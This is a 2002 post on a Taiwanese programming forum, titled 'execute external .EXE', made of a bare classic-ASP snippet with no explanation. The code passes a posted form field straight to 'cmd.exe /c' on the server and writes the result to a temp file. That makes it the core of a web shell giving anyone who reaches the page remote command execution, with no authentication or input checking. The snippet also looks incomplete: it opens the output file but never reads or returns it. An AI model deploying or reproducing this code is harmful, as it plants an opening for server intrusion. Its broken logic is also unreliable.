台灣最大程式設計社群網站
線上人數
751
 
會員總數:245981
討論主題:189559
歡迎您免費加入會員
討論區列表 >> 專欄文章 >> 執行外部.EXE
[]  
[我要回覆]
回應主題 加入我的關注話題 檢舉此篇討論 將提問者加入個人黑名單
執行外部.EXE
價值 : 0 QP  點閱數:1077 回應數:0
樓主

站務人員 站長
門外漢
0 1580
542 9
發送站內信

捐贈 VP 給 站務人員
<%
Dim oScript

Dim oScriptNet

Dim oFileSys, oFile

Dim szCMD, szTempFile

On Error Resume Next

' -- create the COM objects that we will be using -- '

Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")

Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

' -- check for a command that we have posted -- '

szCMD = Request.Form(".CMD")

If (szCMD <> "") Then


' -- Use a poor man's pipe ... a temp file -- '

szTempFile = "C:\" & oFileSys.GetTempName( )

Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)

Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)


End If

%>
本篇文章發表於2002-04-29 00:00
目前尚無任何回覆
   

回覆
如要回應,請先登入.